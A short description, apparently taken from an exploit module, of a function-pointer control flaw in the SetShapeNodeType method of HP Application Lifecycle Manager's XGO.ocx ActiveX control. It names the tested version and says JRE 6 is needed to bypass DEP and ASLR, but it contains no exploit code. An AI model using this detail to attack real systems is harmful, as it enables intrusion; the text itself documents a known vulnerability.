                    This module exploits a vulnerability within the XGO.ocx ActiveX Control
                installed with the HP Application Lifecycle Manager Client. The vulnerability
                exists in the SetShapeNodeType method, which allows the user to specify memory
                that will be used as an object, through the node parameter. It allows to control
                the dereference and use of a function pointer. This module has been successfully
                tested with HP Application Lifecycle Manager 11.50 and requires JRE 6 in order to
                bypass DEP and ASLR.
